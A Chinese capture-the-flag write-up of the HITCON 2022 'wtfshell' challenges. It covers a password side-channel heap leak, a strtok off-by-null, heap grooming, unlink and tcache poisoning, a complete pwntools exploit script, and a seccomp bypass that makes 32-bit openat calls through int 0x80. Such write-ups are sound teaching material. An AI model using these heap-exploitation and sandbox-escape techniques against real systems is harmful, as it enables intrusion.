HITCON2022-wtfshell详解
2022-12-26 18:2:24 Author: 看雪学苑(查看原文) 阅读量:11 收藏


本文为看雪论坛精华文章

看雪论坛作者ID:Loτυs


前言

征战hitcon2022,pwn手坐大牢,wtfshell这道题审了三小时源码,只看出来一个 chk_pw侧信道+read_pw未置零,最终可以通过侧信道leak出一个heap地址,没有看出其余的洞,最终放弃。
wtfshell1最终解数为4,wtfshell2最终解数为3。第一题解出来了第二题基本就解出来了。
感谢crazyman第二天来告诉我wtfshell的主要漏洞(strtok off by null),思考后脑子里出现了一套完整的利用思路。因此做出如下复现。
文章不太喜欢附图,大家多包涵,做出来难度还是蛮大的,因为即使知道了strtok->off-by-null,还是有非常多细节需要思考☹️。

代码审计

题目提供了源码,一共930+行,libc为glibc2.36 3,由于glibc-all-in-one中找不到该版本libc,因此我换了一个小版本,用glibc2.36 4进行复现。

程序主要逻辑

程序实现了一个类似于shell交互,输入rtfm可以查看菜单:
ππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ    rtfm.            Read This Friendly Manual    ππ    qq.            Quit Quietly            ππ    lol,[-l].        List Of fiLes            ππ    rip.[FILE]        Redirect InPut            ππ    nsfw,FILE,PERM.        New Single File for Writing    ππ    wtf,DATA,FILE.        Write data To File        ππ    omfg,FILE.        Output My File Gracefully    ππ    gtfo,FILE.        GeT the File Out        ππ    ouo.            Output current User Out        ππ    stfu,USER.        SeT new Friendly User        ππ    asap,[USER].        ASsign A new Password        ππ    sus,USER.        Switch USer            ππ    shit.            SHell InformaTion        ππ    irl.            Instantly Reset shelL        ππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
功能主要为:

lol:展示所有files文件,加上-l命令可以查看①文件所属用户,②文件size,③文件名。

rip:向指定文件末尾添加内容,采用realloc+strcat实现,其中realloc_size为data_size+1,防止strcat末尾\x00造成off by null。

nsfw:创建文件,并定制其权限(rw)。

wtf:重新覆写文件内容,最大size为0x400。

omfg:打印文件内容(若文件具有可读属性)。

gtfo:删除指定文件。

ouo:打印当前用户名。

stfu:添加新用户,可定义其name。

asap:更改指定用户密码。其中调用的函数chk_pw存在侧信道泄露漏洞。

sus:登录后可更换用户。

irl:reset所有内容:①清除所有用户结构体,②清空所有file结构体,③free并重新申请gbuff。

qq:退出程序前free掉gbuff,close了所有文件描述符,并且采用_exit退出。

漏洞点

侧信道

查看chk_pw函数:
int chk_pw(const char *pw) {    char input;    int pw_len = strlen(pw);    for (int i = 0; i < pw_len + 1; i++) {        int res = read(STDIN_FILENO, &input, 1);        if (res < 0) {            terminate();        }        if (i == pw_len) { // The last character must be a line break            return input == '\n';        }        if (input == '\n') { // Ignore accidental line breaks            i--;            continue;        }        /* If password mismatch, quit immediately */        if (input != pw[i]) {            /* Read characters until '\n' */            while (1) {                int res = read(STDIN_FILENO, &input, 1);                if (res < 0) {                    terminate();                }                if (input == '\n') {                    return 0;                }            }        }    }}
可以看到逻辑为:
  • 逐字符判断密码是否正确,若不正确,读取输入直到\n后退出。
  • 若字符正确则往后继续检查,途中若遇到\n,直接利用i--来忽略。
当检查途中遇到不正确的字符,且 i 并未到达pw_len时,我们可以通过输入\n符是否退出chk_pw来判断当前密码字符是否正确。
且若密码不正确,输入\n退出chk_pw后会打印:
if (!chk_pw(gusers[i]->ushadow)) {                /* Clear data when error occurs */                bzero(gusers[i]->ushadow, PWMAX);                write_str("asap: pw1 ≠ pw2\n");                return;            }
因此我们可以通过接收字符来判断密码字符是否正确,达到侧信道爆破的目的。

user结构体

查看user结构体:uname堆指针跟在ushadow密码后。
struct user {    char ushadow[PWMAX];    char *uname;    int uid;};
查看read_pw函数:在读满PWMAXsize的时候,并未在末尾置零,导致user->ushadow与user->uname指针连接。
int read_pw(char *dest) {    int read_num = 0;    while (read_num < PWMAX) {        int res = read(STDIN_FILENO, &dest[read_num], 1);        if (res < 0) {            terminate();        }        if (dest[read_num] == '\n') {            dest[read_num] = '\0';            return read_num;        }        read_num++;    }    return read_num;}
查看chk_pw函数:判断密码位数是通过strlen来判断的:
int pw_len = strlen(pw);
因此结合起来,我们可以利用侧信道+结构体,来leak出一个堆地址。

strtok->off by null

main函数中的gbuff是拿来储存我们的命令字符串的,大小为0x400,对其有一个分割符处理:
read_max(gbuff, GBSIZE);char *token = strtok(gbuff, delim);
strtok函数会不断往字符串后面遍历,直到遇到\x00截断,同时strtok会将查找到的隔断符delim设置为\x00。
查看隔断符delim:
const char delim[] = ".,?!";
其中!的ascii码值为0x21,若我们能在gbuff 0x400大小的堆块里填入0x408个非零字符,同时在后面跟上一个size头低字节为0x21的堆块,即可通过strtok实现off-by-null。


wtfshell1

泄露堆地址

首先申请一个user结构体,填满其pwd。本地gdb调试之后发现这样user->uname指针末尾为0,因此可以申请两个user结构体,第一个用作填充,使第二个user结构体的user->uname指针末尾不为0。
由于堆地址最低字节固定,不用泄露:
def burp(name,pwd):    addr = "\x80"    for i in range(0x6):        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))        for j in range(0xb,0xff):            payload = b'asap,'+name            menu(payload)            r.recvuntil(b"password:")            r.send(pwd)            r.recvuntil(b"retype password:")            r.send(pwd+addr+chr(j)+"\n")            data=r.recvuntil("\n",timeout=0.1)            if b"asap: " not in data:                addr+=chr(j)                r.send(b'\x00\n')                break            else:                continue     return u64(addr.ljust(0x8,'\0'))

构造off-by-null

堆风水真的给整麻了。

得到一个填满的gbuff堆块

首先我们需要得到一个被填满0x408非零字节的gbuff堆块。
整个程序free只能通过两种方式:①xrealloc,②xfree。
其中xfree函数:
void xfree(void *ptr) {    if (!ptr) {        return;    }    size_t size = malloc_usable_size(ptr);    bzero(ptr, size);    free(ptr);}
其中malloc_usable_size函数会获取该heap所有能写的size,也就是说紧邻该堆块的下一个堆块的prev_size也会被算进来清零,因此我们要避开xfree,只能用xrealloc来free。
xrealloc其实就是调用realloc函数,当我们申请一个大于当前堆块size的堆块时,realloc会free掉当前堆块,然后重新申请堆块,这个过程中是不会清空free的堆块内容的。
小堆风水一波,得到一个填满0x408非零字节的gbuff堆块步骤为:

1、先利用rip申请一个0x400大小的堆块,然后利用xrealloc不断扩充,直到size为0x1000。然后realloc(0x1100) free掉该unsortedbin(必须用xrealloc去free,用xfree会清空堆块内容)。

2、申请一个小堆块隔开unsortedbin与top_chunk。

3、申请一个0x400大小的堆块到unsortedbin中。

4、提前填满0x400大小的tcache_list。

5、调用cmd_irl来free掉gbuff,由于tcache_list已经被填满,因此free掉的gbuff不会进入tcache_list,会变成unsortedbin,然后下一次申请,会申请tcache_list中第一个空闲堆块,也就是我们之前填满非零字节的一个堆块。这样就能获得一个填满0x408字节的gbuff。

构造off by null

接下来就很简单能够想到在gbuff的下面申请一个堆块,off-by-null之后利用,以下文章将该堆块命名为off-by-null-chunk。
在思考这一段时,卡了我非常久,特别鸣谢winmt师傅和ln3师傅和我激情讨论,一次次点醒我。
遇到的问题
prev_size
①off-by-null-chunk的prev_size我们无法控制。
首先我们知道,off-by-null-chunk的prev_size是被填满了八字节的,不然无法触发strtok然后触发off-by-null。
gbuff堆块与off-by-null-chunk是紧挨的,然后我们如果要更改off-by-null-chunk的prev_size,就必须通过gbuff来更改。
我们知道,我们只能控制gbuff堆块的前0x400个字节,更改不了off-by-null-chunk的prev_size。
尝试思路一:首先肯定要触发off-by-null,我想的是触发off-by-null之后,再次调用cmd_irl来free掉gbuff,然后申请一个普通chunk,size为0x408,这样就能更改到off-by-null-chunk的prev_size。
但是这样是显然行不通的,因为free掉gbuff的时候,会判断gbuff下面那个堆块的use状态,由于已经off-by-null,会触发off-by-null,但是我们的prev_size不合法,这样会导致程序出错。
尝试思路二:我详细查阅了strtok的作用,如果出现连续的delim分隔符会如何处理,看能不能同时利用strtok将gbuff第0x400-0x408个字节中非prev_size部分清空,同时触发off-by-null。最终也以失败告终。
最终思路:再次审查源码后,发现cmd_rip函数中:
void  cmd_rip() {    char *fname = strtok(NULL, delim);##this!    char *rbuff = xmalloc(SBSIZE);     /* Redirect input to stdout */    if (!fname) {        read_max(rbuff, SBSIZE);        write_str(rbuff);        write_str("\n");        xfree(rbuff);        return;    }     /* Redirect input to a file */     remove_slash(fname);#that!    if (strlen(fname) == 0) {        write_str("rip: flag = ∅\n");        xfree(rbuff);        return;    }    /* Special case: flag1 cannot be altered */    if (!strcmp(fname, "flag1")) {        write_str("rip: ¬ perm\n");        xfree(rbuff);        return;    }    for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {            /* The file's owner must be root or the current user, and the file must be writable */            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {                write_str("rip: ¬ perm\n");                xfree(rbuff);                return;            }             read_max(rbuff, SBSIZE);            if (gfiles[i]->fdata) {                /* File is not empty -> rewrite the file content */                if (strlen(rbuff) > 0) {                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(gfiles[i]->fdata) + strlen(rbuff) + 1); // Remember the extra null byte                }                strcat(gfiles[i]->fdata, rbuff);            } else {                /* File is empty -> write the content directly */                gfiles[i]->fdata = strdup(rbuff);            }            xfree(rbuff);            return;        }    }    write_str("rip: \"");    write_str(fname);    write_str("\" ∉ ℱ\n");    xfree(rbuff);}
注意代码中我注释的this和that部分。
关注到remove_slash函数,会将字符串中含\的部分置为\x00:
void remove_slash(char *fname) {    int fname_len = strlen(fname);    for (int i = 0; i < fname_len; i++) {        if (fname[i] == '/') {            fname[i] = '\0';        }    }}
同时也是通过strlen来判断长度。
menu与cmd_rip函数中,按先后顺序调用了如下:
char *token = strtok(gbuff, delim);char *fname = strtok(NULL, delim);##this!remove_slash(fname);#that!
如果我们构造这样的payload:
b'rip.'+b'a'*(0x400-4)
同时,在之前堆风水写gbuff的第0x400-0x408字节,若我们填入如下内容:
p16(prev_size)+b'\'*6
那么在执行第一句语句之后,返回的指针已经指向
b'a'*(0x400-4)+p16(prev_size)+b'\'*6
注意strtok第一个参数为NULL时,继承的是上一次strtok返回的指针。
因此执行第二句语句之后,能够将off-by-null的size头低位0x21置为0,触发off-by-null。
同时,执行第三句语句,将调整我们的prev_size为正常。
因此至此,我们已经构造好prev_size。
fake_size
我们知道,free一个堆块,会去检测下一个堆块的next_size是否合法:
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))            malloc_printerr ("malloc(): invalid next size (unsorted)");
我们free掉off-by-null-chunk的时候,除非off-by-null-chunk的size本身为0x501这种,off by null之后不用伪造next_size。否则需要伪造合法的next_size,不然free会触发错误。
伪造next_size的过程几乎没有希望的,之前看来:
首先off-by-null-chunk的size需要大于0x400(不能在tcache范围),在tcache范围内的tcache_off-by-null是没有作用的。
这就意味着我们申请的off-by-null-chunk的size需要大于0x400,那就只能调用cmd_rip来申请,其他都不能申请大于0x400 size的chunk。而cmd_rip的操作是根据strlen函数返回的长度来进行realloc的,也就是说,我们申请出某个size 的堆块,就必须填满他。
cmd_rip中部分代码:
for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {            /* The file's owner must be root or the current user, and the file must be writable */            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {                write_str("rip: ¬ perm\n");                xfree(rbuff);                return;            }             read_max(rbuff, SBSIZE);            if (gfiles[i]->fdata) {                /* File is not empty -> rewrite the file content */                if (strlen(rbuff) > 0) {                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(gfiles[i]->fdata) + strlen(rbuff) + 1); // Remember the extra null byte                }                strcat(gfiles[i]->fdata, rbuff);            } else {                /* File is empty -> write the content directly */                gfiles[i]->fdata = strdup(rbuff);            }            xfree(rbuff);            return;        }    }
但我们要伪造fake_next_size,fake_next_size中肯定带\x00截断,同时由于off-by-null-chunk原本size低字节为0x21,被改成\x00后,fake_next_size要放在off-by-null-chunk的+0x500处,例如如下结构:
off-by-null-chunk:    0 0x500(0x521)    ........    ........    padding,fake_next_size    padding,padding。
其中padding为8非零字节。可以注意到fake_next_size中带\x00截断,因此我们不能申请到0x521大小的chunk。
想过很多种方法,例如利用realloc去进行一些trick,例如:
先申请出0x521大小的chunk,然后利用cmd_wtf里的strcpy往里填入零字节,再利用cmd_rip来realloc到适当字节,恰好写进fake_next_size,但是对一个内存大于申请size的堆块进行realloc,会free掉剩余size的小chunk:
例如对0x521 chunk 进行reallc(ptr,0x410),他会free掉剩余的0x100字节。这样会破坏掉原来chunk的size头,导致我们不能触发off-by-null。
可见对大于0x400 size的chunk去写入一个fake_next_size是非常困难的。
转换思路呢?可能一开始就想错了,为什么off-by-null-chunksize一定要大于0x400呢?他的size可以是0x321,只要我们提前填满对应size的tcache_list即可。
而如果size小于0x400,我们观察cmd_wtf函数:
void cmd_wtf() {    char *fdata = strtok(NULL, delim);    if (!fdata) {        write_str("wtf: data ∈ ∅\n");        return;    }    char *fname = strtok(NULL, delim);    if (!fname) {        write_str("wtf: file ∈ ∅\n");        return;    }     remove_slash(fname);    if (strlen(fname) == 0) {        write_str("wtf: file = ∅\n");        return;    }    /* Special case: flag1 cannot be altered */    if (!strcmp(fname, "flag1")) {        write_str("wtf: ¬ perm\n");        return;    }    for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {            /* The file's owner must be root or the current user, and the file must be writable */            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {                write_str("wtf: ¬ perm\n");                return;            }            if (gfiles[i]->fdata) {                /* File is not empty -> rewrite the file content */                if (strlen(fdata) > strlen(gfiles[i]->fdata)) {                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(fdata) + 1); // Remember the extra null byte                }                strcpy(gfiles[i]->fdata, fdata);            } else {                /* File is empty -> write the content directly */                gfiles[i]->fdata = strdup(fdata);            }            return;        }    }    write_str("wtf: \"");    write_str(fname);    write_str("\" ∉ ℱ\n");}
其中关键的即为:
if (gfiles[i]->fdata) {                /* File is not empty -> rewrite the file content */                if (strlen(fdata) > strlen(gfiles[i]->fdata)) {                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(fdata) + 1); // Remember the extra null byte                }                strcpy(gfiles[i]->fdata, fdata);            } else {                /* File is empty -> write the content directly */                gfiles[i]->fdata = strdup(fdata);            }            return;        }
若strlen(fdata)<strlen(gfiles[i]->fdata),是不会触发realloc的,而是直接调用strcpy,也就是说,我们可以提前填满一个堆块,然后利用这个fdata size更小的时候,从后往前填充\x00字节,这样就能够伪造好我们的fake_next_size。
后续写入地址也多次用到这个方式,因此我封装了一个函数(不太优雅,将就着看):
def write_addr(filename,payload,size):    whole_size = len(payload)+1    no_null_payload = payload.replace(b'\x00',b'a')    for i in range(size):        # log.success(hex(i))        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':            # pause()            recover_data(filename,no_null_payload[0:whole_size-i-2])            # debug("free")         else:            continue

实操off by null

整理一下我们之前做到的事情:

分配了一个被填满的gbuff,能够off by null。

可以利用remove_slash和strtok配合,构造好off-by-null-chunk的prev_size。(前提是该chunk size得小于0x400,因此我们需要提前填满对应size的tcache_list)

可以用我的write_addr函数伪造off-by-null-chunk的fake_size。

并且这道题我们已经用侧信道泄露了堆地址,大大降低了off-by-null的难度,可以进行safe-unlink。
只用在上方伪造一个size,然后绕过如下检测即可:
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))    malloc_printerr ("corrupted double-linked list");   fd->bk = bk;  bk->fd = fd;  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)    {      if (p->fd_nextsize->bk_nextsize != p      || p->bk_nextsize->fd_nextsize != p)    malloc_printerr ("corrupted double-linked list (not small)");
堆风水:
如果我们构造成:
0  fake_sizefake_fd fake_bkfake_fd_nextsize fake_bk_nextsizeP->addr
这里注意的是,p->fd->bk和p->bk->fd指向的地方,不能和p->fd_nextsize->bk_nextsize和p->bk_nextsize->fd_nextsize指向的地方相同,否则在通过第一个检测之后,会执行:
fd->bk = bk;bk->fd = fd;
就绕不过第二个检测:
if (p->fd_nextsize->bk_nextsize != p      || p->bk_nextsize->fd_nextsize != p)    malloc_printerr ("corrupted double-linked list (not small)");
因此最终构造为:
0  fake_sizefake_fd fake_bkfake_fd_nextsize fake_bk_nextsizeP->addr P->addr
这里我在off-by-null-chunk下方没有构造好,导致一个tcache的prev_inuse为0,触发了第二次unlink,小调整了一下即可。
off-by-null之后,中间夹了几个tcache,即可实现泄露和任意地址写。
需要注意的是:
能够任意写的tcache size必须要小,因为cmd中任何申请函数都是以strlen返回结果来进行malloc的,也就是说,如果我们想申请任意写,我们就必须填满其chunk。例如我最开始构造的tcache size为0x300,这样的话,申请过去的堆块必须填满0x2f0内容。
wtfshell1中,我的思路是申请到flag1堆块,更改其file->flag为3(rw)与file->name。
如果任意写的tcache_size过大,申请过去必须得写完,这会导致把堆上很多指针或者file->name破坏掉。
wtfshell2中,我的思路是打libc got表,那0x2f0大小必定会破坏掉非常多东西,因此也是不可能的。
因此做到这之后,我又重新调整tcache_size,小改了一波堆风水。

夹心饼攻击

至此我们已经拿到heap_base,libc_base,并且有了任意写,泄露之后申请任意写过去改掉file->flag为3(rw)与file->name。
观察cmd_omfg:发现如果是root用户,可以查看所有文件内容(若具有可读属性)。
void cmd_omfg() {    char *fname = strtok(NULL, delim);    if (!fname) {        write_str("omfg: file ∈ ∅\n");        return;    }    remove_slash(fname);    if (strlen(fname) == 0) {        write_str("omfg: file = ∅\n");        return;    }    for (int i = 0; i < FILEMAX; i++) {        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {            /* The file's owner must be root or the current user, and the file must be readable */            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & RDPERM)) {                write_str("omfg: ¬ perm\n");                return;            }            if (!gfiles[i]->fdata) { // empty file                return;            }            write_str(gfiles[i]->fdata);            write_str("\n");            return;        }    }    write_str("omfg: \"");    write_str(fname);    write_str("\" ∉ ℱ \n");}
由于我已经将file->flag改为3,file->name改为aaaaaaaaaaaaaaaa。
直接调用show即可打印出第一个flag。
至此,wtfshell1 get。

wtfshell1-exp

from pwn import *context.terminal = ['gnome-terminal', '-x', 'sh', '-c']# context.log_level = 'debug' def qwq(name):  log.success(hex(name)) def debug(point):    if point == 0:        gdb.attach(r)    else:        gdb.attach(r,"b "+point) r = process('/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell') def menu(payload):    r.recvuntil("√")    r.sendline(payload) def add_data(name,content):    payload = b'rip.'+name    menu(payload)    sleep(0.1)    r.send(content)  def new_file(name,flag):    payload = b'nsfw,'+name+b','+flag    menu(payload) def show_file(name):    payload = b'omfg,'+name    menu(payload) def recover_data(name,content):    payload = b'wtf,'+content+b','+name    menu(payload) def delete_file(name):    payload = b'gtfo,'+name    menu(payload) def add_user(name):    payload = b'stfu,'+name    menu(payload) def edit_pwd(name,pwd):    payload = b'asap,'+name    menu(payload)    r.recvuntil(b"password:")    r.send(pwd)    r.recvuntil(b"retype password:")    r.send(pwd) def delete_all():    payload = b'irl.'    menu(payload) def burp(name,pwd):    addr = "\x80"    for i in range(0x6):        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))        for j in range(0xb,0xff):            payload = b'asap,'+name            menu(payload)            r.recvuntil(b"password:")            r.send(pwd)            r.recvuntil(b"retype password:")            r.send(pwd+addr+chr(j)+"\n")            data=r.recvuntil("\n",timeout=0.1)            if b"asap: " not in data:                addr+=chr(j)                r.send(b'\x00\n')                break            else:                continue     return u64(addr.ljust(0x8,'\0')) def write_addr(filename,payload,size):    whole_size = len(payload)+1    no_null_payload = payload.replace(b'\x00',b'a')    for i in range(size):        # log.success(hex(i))        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':            # pause()            recover_data(filename,no_null_payload[0:whole_size-i-2])            # debug("free")         else:            continue      add_user(b'what')add_user(b'lotus')heap_base=burp(b'lotus',"a"*0x40)-0x880key = heap_base>>12# for i in range(0x7):# new_file(b'chunk1',b'3')# add_data(b'chunk1')new_file(b'big',b'3')new_file(b'gbuff',b'3')new_file(b'off-by-null-chunk',b'3')  for i in range(0x7):    new_file(b"chunk"+str(i).encode(),b'3')    new_file(b"chunk1"+str(i).encode(),b'3') new_file(b'chunk21',b'3')new_file(b'chunk22',b'3') for i in range(0x7):    for j in range(0x4):        add_data(b"chunk"+str(i).encode(),b'a'*0x100) for i in range(0x2):    for j in range(0x2):        add_data(b"chunk1"+str(i).encode(),b'a'*0x100)     add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')  for i in range(0x3):    recover_data(b"chunk2"+str(i).encode(),b'a'*0x20) for i in range(3,7):    for j in range(0x2):        add_data(b"chunk1"+str(i).encode(),b'a'*0x100)     add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n') [add_data(b'big',p16(0x1650)+b'/'*(0x100-2)) for i in range(0x10)]add_data(b'big',b'a'*0x10+b'\n')new_file(b'b'*0x100,b'3')#use to get the free 0x110 tcache and add a chunk between the unsortedbin and the top chunk add_data(b'big',b'a'*0x100)# free the unsortedbin #add 0x408 back[add_data(b'gbuff',b'a'*0x100) for i in range(0x3)]add_data(b'gbuff',b'a'*0xf8+b'\n') #add 0x521 chunk to off-by-null[add_data(b'off-by-null-chunk',b'a'*0x100) for i in range(0x5)]add_data(b'off-by-null-chunk',b'a'*0x10+b'\n') [delete_file(b"chunk"+str(i).encode()) for i in range(0x6)] add_data(b'gbuff',b'a'*0x100) delete_all() new_file(b'useless_chunk',b'3')[add_data(b'useless_chunk',b'a'*0x100) for i in range(0x3)]add_data(b'useless_chunk',b'a'*0x10+b'\n') # add a 0x321 chunk and edit its fake_next_sizenew_file(b'off-by-null-chunk',b'3')[add_data(b'off-by-null-chunk',b'\x31'*0x100) for i in range(0x3)]add_data(b'off-by-null-chunk',b'\x31'*0x10+b'\n')[recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-i)) for i in range(0x6)]recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-6)+b'\x09') menu(b'rip.'+b'a'*(0x400-4))#make off by null and clear the prev_size for i in range(0x9):    new_file(b"chunk1"+str(i).encode(),b'3')for i in range(0x9):    recover_data(b"chunk1"+str(i).encode(),b'i'*0x2f0) fake_point = heap_base+0x2af0fake_point_addr = fake_point+0x30fake_unlink_chunk = b'i'*0x10+p64(0)+p64(0x1651)+p64(fake_point_addr-0x18)+p64(fake_point_addr-0x10)+p64(fake_point_addr-0x20)+p64(fake_point_addr-0x18)+p64(fake_point)*2    write_addr(b'chunk15',fake_unlink_chunk,len(fake_unlink_chunk)-0x10) [delete_file(b"chunk1"+str(i).encode()) for i in range(0x4)]delete_file(b'chunk17')delete_file(b'chunk18')delete_file(b'chunk16')  #off by null unlink delete_file(b'off-by-null-chunk') #clear the tcache list 0x20for i in range(0xa):    new_file(b'useless'+str(i).encode(),b'3')    recover_data(b'useless'+str(i).encode(),b'a'*8)  new_file(b'a'*0x2e0,b'3')new_file(b'b'*0x2d0,b'3') #leak_libc_baseshow_file(b'chunk14')libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-0x1f6cc0 new_file(b'a'*0x220,b'3') new_file(b'edit_tcache_next',b'3')recover_data(b'edit_tcache_next',b'a'*0x220)write_addr(b'edit_tcache_next',b'a'*192+p64((heap_base+0x330)^(key+3)),0x8) new_file(b'a'*0x20,b'3') new_file(b'go_attack',b'3')recover_data(b'go_attack',b'a'*0x20)write_addr(b'go_attack',p32(1)+p32(0x3)+p64(0xdeadbeef)+b'lotuslotus',0x1a) show_file(b'a'*0x10)# debug("malloc_printerr")   qwq(heap_base)  qwq(libc_base)r.interactive()
ps:exp运行一次可能不能成功,侧信道爆破以及write_addr似乎有某些bug,不过多运行几次就能通。


wtfshell2

wtfshell2只用考虑如何绕过沙盒,并且劫持程序流即可。
劫持strtok的libc-got表为magic_gadget,然后可劫持程序流。
沙盒是白名单,没有open。沙盒绕过卡掉了一个解,wtfshell2比wtfshell1少了一个解。wtfshell2相比与wtfshell1就是多了沙盒。因为我们在wtfshell1中已经拿到了任意地址写,和heap_base,libc_base,wtfshell2考察的就是如何绕过沙箱写orw:
[email protected]:~/seccomp-tools$ seccomp-tools dump /mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000000  A = sys_number 0001: 0x15 0x00 0x04 0x00000000  if (A != read) goto 0006 0002: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count) 0003: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0005 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0005: 0x06 0x00 0x00 0x00000000  return KILL 0006: 0x20 0x00 0x00 0x00000000  A = sys_number 0007: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0009 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0009: 0x20 0x00 0x00 0x00000000  A = sys_number 0010: 0x15 0x00 0x06 0x00000009  if (A != mmap) goto 0017 0011: 0x20 0x00 0x00 0x00000020  A = prot # mmap(addr, len, prot, flags, fd, pgoff) 0012: 0x15 0x03 0x00 0x00000007  if (A == 0x7) goto 0016 0013: 0x20 0x00 0x00 0x00000030  A = fd # mmap(addr, len, prot, flags, fd, pgoff) 0014: 0x15 0x00 0x01 0xffffffff  if (A != 0xffffffff) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0016: 0x06 0x00 0x00 0x00000000  return KILL 0017: 0x20 0x00 0x00 0x00000000  A = sys_number 0018: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0020: 0x20 0x00 0x00 0x00000000  A = sys_number 0021: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0023 0022: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0023: 0x20 0x00 0x00 0x00000000  A = sys_number 0024: 0x15 0x00 0x01 0x00000027  if (A != getpid) goto 0026 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0026: 0x20 0x00 0x00 0x00000000  A = sys_number 0027: 0x15 0x00 0x01 0x00000066  if (A != getuid) goto 0029 0028: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0029: 0x20 0x00 0x00 0x00000000  A = sys_number 0030: 0x15 0x00 0x01 0x00000068  if (A != getgid) goto 0032 0031: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0032: 0x20 0x00 0x00 0x00000000  A = sys_number 0033: 0x15 0x00 0x04 0x00000014  if (A != writev) goto 0038 0034: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen) 0035: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0037 0036: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0037: 0x06 0x00 0x00 0x00000000  return KILL 0038: 0x20 0x00 0x00 0x00000000  A = sys_number 0039: 0x15 0x00 0x05 0x0000003c  if (A != exit) goto 0045 0040: 0x20 0x00 0x00 0x00000010  A = error_code # exit(error_code) 0041: 0x15 0x01 0x00 0x00000000  if (A == 0x0) goto 0043 0042: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0044 0043: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0044: 0x06 0x00 0x00 0x00000000  return KILL 0045: 0x20 0x00 0x00 0x00000000  A = sys_number 0046: 0x15 0x00 0x05 0x000000e7  if (A != exit_group) goto 0052 0047: 0x20 0x00 0x00 0x00000010  A = error_code # exit_group(error_code) 0048: 0x15 0x01 0x00 0x00000000  if (A == 0x0) goto 0050 0049: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0051 0050: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0051: 0x06 0x00 0x00 0x00000000  return KILL 0052: 0x20 0x00 0x00 0x00000000  A = sys_number 0053: 0x15 0x00 0x03 0x00000127  if (A != preadv) goto 0057 0054: 0x20 0x00 0x00 0x00000010  A = fd # preadv(fd, vec, vlen, pos_l, pos_h) 0055: 0x25 0x00 0x01 0x00000002  if (A <= 0x2) goto 0057 0056: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0057: 0x06 0x00 0x00 0x00000000  return KILL
沙盒绕过是由winmt师傅看出来的,沙盒大手子。

mmap一块可写可执行的内存(沙盒ban了mmap参数7,但是没有ban 6)。

read shellcode到mmap出来的内存。

shellcode进行orw。

但是程序本身是白名单,并没有允许open,这该怎么办呢?
可以看到沙盒没有判断架构,而允许了preadv。
而preadv在64位下调用号为:
同时openat在32位下调用号为:
因此直接可用int0x80调用32位下的openat。
注意沙盒里判断了preadv的第一个参数需要大于2,因此我们openat的第一个参数也需要大于2,而当openat使用绝对路径的时候,第一个参数不影响结果,故这里最好用绝对路径/flag2。

wtrshell2-exp

